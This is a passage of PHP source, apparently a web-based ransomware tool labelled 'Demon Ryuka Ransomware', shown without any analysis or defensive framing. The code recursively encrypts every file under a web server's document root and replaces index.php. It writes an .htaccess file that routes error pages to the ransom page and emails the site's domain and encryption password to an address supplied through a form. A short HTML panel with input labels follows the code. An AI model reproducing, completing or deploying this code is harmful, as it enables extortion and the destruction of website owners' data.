'.base64_decode("."'".base64_encode($dec)."'".").'"; $hii = fopen('index.php', 'w'); fwrite($hii, $comp); fclose($hii); $hta = "DirectoryIndex index.php\n ErrorDocument 403 /index.php\n ErrorDocument 404 /index.php\n ErrorDocument 500 /index.php\n"; $ht = fopen('.htaccess', 'w'); fwrite($ht, $hta); fclose($ht); echo "$filename Encrypted !!!
"; } function encdir($dir){ $files = array_diff(scandir($dir), array('.', '..')); foreach($files as $file) { if(is_dir($dir."/".$file)){ encdir($dir."/".$file); } else { encfile($dir."/".$file); } } } if(isset($_POST['pass'])){ encdir($_SERVER['DOCUMENT_ROOT']); } copy('index.php', $_SERVER['DOCUMENT_ROOT'].'/index.php'); copy('.htaccess', $_SERVER['DOCUMENT_ROOT'].'.htaccess'); copy($_SERVER['DOCUMENT_ROOT'].'.htaccess', $_SERVER['DOCUMENT_ROOT'].'.htabackup'); $to = $_POST['email']; $subject = 'Your Ransomware Info'; $message = "Domain : ".$_SERVER['SERVER_NAME'] .$_SERVER['REQUEST_URI']."\n\n"."Your Password : ".$_POST['pass']; if(mail($to,$subject,$message)) { echo 'The password has been sent to your email'; } else { echo 'password was not sent to your email'; } exit(); } ?>

Demon Ryuka Ransomware

Information :

Path File :
Mail Function :